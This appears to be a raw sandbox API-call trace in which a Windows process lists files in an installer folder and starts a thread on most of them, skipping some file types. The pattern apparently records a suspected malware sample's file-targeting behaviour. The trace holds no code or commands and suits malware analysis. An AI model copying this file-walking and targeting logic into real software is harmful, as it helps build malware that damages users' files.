ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0058.464] wcscmp (_String1="Client", _String2=".") returned 1 [0058.464] wcscmp (_String1="Client", _String2="..") returned 1 [0058.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd1f0 [0058.464] wcscpy (in: _Dest=0x33fd1f0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.464] wcscat (in: _Dest=0x33fd1f0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.464] wcscat (in: _Dest=0x33fd1f0, _Source="Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client" [0058.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0058.465] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0058.465] wcscmp (_String1="DHtmlHeader.html", _String2=".") returned 1 [0058.465] wcscmp (_String1="DHtmlHeader.html", _String2="..") returned 1 [0058.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x341aa88 [0058.465] wcscpy (in: _Dest=0x341aa88, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.465] wcscat (in: _Dest=0x341aa88, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.465] wcscat (in: _Dest=0x341aa88, _Source="DHtmlHeader.html" | out: _Dest="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html" [0058.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341aa88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0058.466] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0058.466] wcscmp (_String1="DisplayIcon.ico", _String2=".") returned 1 [0058.466] wcscmp (_String1="DisplayIcon.ico", _String2="..") returned 1 [0058.466] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1 [0058.466] wcscmp (_String1="Extended", _String2=".") returned 1 [0058.466] wcscmp (_String1="Extended", _String2="..") returned 1 [0058.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fcf20 [0058.466] wcscpy (in: _Dest=0x33fcf20, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.466] wcscat (in: _Dest=0x33fcf20, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.466] wcscat (in: _Dest=0x33fcf20, _Source="Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended" [0058.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fcf20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0058.467] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1 [0058.468] wcscmp (_String1="Graphics", _String2=".") returned 1 [0058.468] wcscmp (_String1="Graphics", _String2="..") returned 1 [0058.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fd3a0 [0058.468] wcscpy (in: _Dest=0x33fd3a0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.468] wcscat (in: _Dest=0x33fd3a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.468] wcscat (in: _Dest=0x33fd3a0, _Source="Graphics" | out: _Dest="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics" [0058.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0058.469] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0058.469] wcscmp (_String1="header.bmp", _String2=".") returned 1 [0058.469] wcscmp (_String1="header.bmp", _String2="..") returned 1 [0058.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x341c1b0 [0058.469] wcscpy (in: _Dest=0x341c1b0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.469] wcscat (in: _Dest=0x341c1b0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.469] wcscat (in: _Dest=0x341c1b0, _Source="header.bmp" | out: _Dest="C:\\588bce7c90097ed212\\header.bmp") returned="C:\\588bce7c90097ed212\\header.bmp" [0058.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341c1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0058.470] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0058.470] wcscmp (_String1="netfx_Core.mzz", _String2=".") returned 1 [0058.470] wcscmp (_String1="netfx_Core.mzz", _String2="..") returned 1 [0058.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x33c04a0 [0058.470] wcscpy (in: _Dest=0x33c04a0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.470] wcscat (in: _Dest=0x33c04a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.470] wcscat (in: _Dest=0x33c04a0, _Source="netfx_Core.mzz" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz" [0058.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c04a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8 [0058.471] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0058.471] wcscmp (_String1="netfx_Core_x64.msi", _String2=".") returned 1 [0058.471] wcscmp (_String1="netfx_Core_x64.msi", _String2="..") returned 1 [0058.471] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0058.471] wcscmp (_String1="netfx_Core_x86.msi", _String2=".") returned 1 [0058.471] wcscmp (_String1="netfx_Core_x86.msi", _String2="..") returned 1 [0058.471] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0058.472] wcscmp (_String1="netfx_Extended.mzz", _String2=".") returned 1 [0058.472] wcscmp (_String1="netfx_Extended.mzz", _String2="..") returned 1 [0058.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x33c83d8 [0058.472] wcscpy (in: _Dest=0x33c83d8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.472] wcscat (in: _Dest=0x33c83d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.472] wcscat (in: _Dest=0x33c83d8, _Source="netfx_Extended.mzz" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz" [0058.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c83d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0058.473] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0058.473] wcscmp (_String1="netfx_Extended_x64.msi", _String2=".") returned 1 [0058.473] wcscmp (_String1="netfx_Extended_x64.msi", _String2="..") returned 1 [0058.473] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0058.474] wcscmp (_String1="netfx_Extended_x86.msi", _String2=".") returned 1 [0058.474] wcscmp (_String1="netfx_Extended_x86.msi", _String2="..") returned 1 [0058.474] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0058.474] wcscmp (_String1="ParameterInfo.xml", _String2=".") returned 1 [0058.474] wcscmp (_String1="ParameterInfo.xml", _String2="..") returned 1 [0058.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x33c4a60 [0058.474] wcscpy (in: _Dest=0x33c4a60, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.474] wcscat (in: _Dest=0x33c4a60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.474] wcscat (in: _Dest=0x33c4a60, _Source="ParameterInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml" [0058.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c4a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0058.475] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0058.475] wcscmp (_String1="RGB9RAST_x64.msi", _String2=".") returned 1 [0058.475] wcscmp (_String1="RGB9RAST_x64.msi", _String2="..") returned 1 [0058.828] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0058.828] wcscmp (_String1="RGB9Rast_x86.msi", _String2=".") returned 1 [0058.828] wcscmp (_String1="RGB9Rast_x86.msi", _String2="..") returned 1 [0058.828] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0058.828] wcscmp (_String1="Setup.exe", _String2=".") returned 1 [0058.828] wcscmp (_String1="Setup.exe", _String2="..") returned 1 [0058.828] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0058.828] wcscpy (in: _Dest=0x33fd280, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.828] wcscat (in: _Dest=0x33fd280, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.828] wcscat (in: _Dest=0x33fd280, _Source="Setup.exe" | out: _Dest="C:\\588bce7c90097ed212\\Setup.exe") returned="C:\\588bce7c90097ed212\\Setup.exe" [0059.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fd280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0059.019] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0059.019] wcscmp (_String1="SetupEngine.dll", _String2=".") returned 1 [0059.019] wcscmp (_String1="SetupEngine.dll", _String2="..") returned 1 [0059.019] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0059.019] wcscmp (_String1="SetupUi.dll", _String2=".") returned 1 [0059.019] wcscmp (_String1="SetupUi.dll", _String2="..") returned 1 [0059.019] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0059.019] wcscmp (_String1="SetupUi.xsd", _String2=".") returned 1 [0059.019] wcscmp (_String1="SetupUi.xsd", _String2="..") returned 1 [0059.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x341c610 [0059.019] wcscpy (in: _Dest=0x341c610, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0059.019] wcscat (in: _Dest=0x341c610, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0059.019] wcscat (in: _Dest=0x341c610, _Source="SetupUi.xsd" | out: _Dest="C:\\588bce7c90097ed212\\SetupUi.xsd") returned="C:\\588bce7c90097ed212\\SetupUi.xsd" [0059.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341c610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0059.020] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0059.020] wcscmp (_String1="SetupUtility.exe", _String2=".") returned 1 [0059.020] wcscmp (_String1="SetupUtility.exe", _String2="..") returned 1 [0059.020] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33c3cd8 [0059.020] wcscpy (in: _Dest=0x33c3cd8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0059.020] wcscat (in: _Dest=0x33c3cd8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0059.020] wcscat (in: _Dest=0x33c3cd8, _Source="SetupUtility.exe" | out: _Dest="C:\\588bce7c90097ed212\\SetupUtility.exe") returned="C:\\588bce7c90097ed212\\SetupUtility.exe" [0059.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c3cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0059.021] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0059.021] wcscmp (_String1="SplashScreen.bmp", _String2=".") returned 1 [0059.021] wcscmp (_String1="SplashScreen.bmp", _String2="..") returned 1 [0059.021] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33c3c10 [0059.021] wcscpy (in: _Dest=0x33c3c10, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0059.021] wcscat (in: _Dest=0x33c3c10, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0059.021] wcscat (in: _Dest=0x33c3c10, _Source="SplashScreen.bmp" | out: _Dest="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp" [0059.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c3c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0059.022] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0059.022] wcscmp (_String1="sqmapi.dll", _String2=".") returned 1 [0059.022] wcscmp (_String1="sqmapi.dll", _String2="..") returned 1 [0059.022] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0059.022] wcscmp (_String1="Strings.xml", _String2=".") returned 1 [0059.022] wcscmp (_String1="Strings.xml", _String2="..") returned 1 [0059.022] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x341c660 [0059.022] wcscpy (in: _Dest=0x341c660, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0059.022] wcscat (in: _Dest=0x341c660, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0059.022] wcscat (in: _Dest=0x341c660, _Source="Strings.xml" | out: _Dest="C:\\588bce7c90097ed212\\Strings.xml") returned="C:\\588bce7c90097ed212\\Strings.xml" [0059.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341c660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0059.023] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0059.023] wcscmp (_String1="UiInfo.xml", _String2=".") returned 1 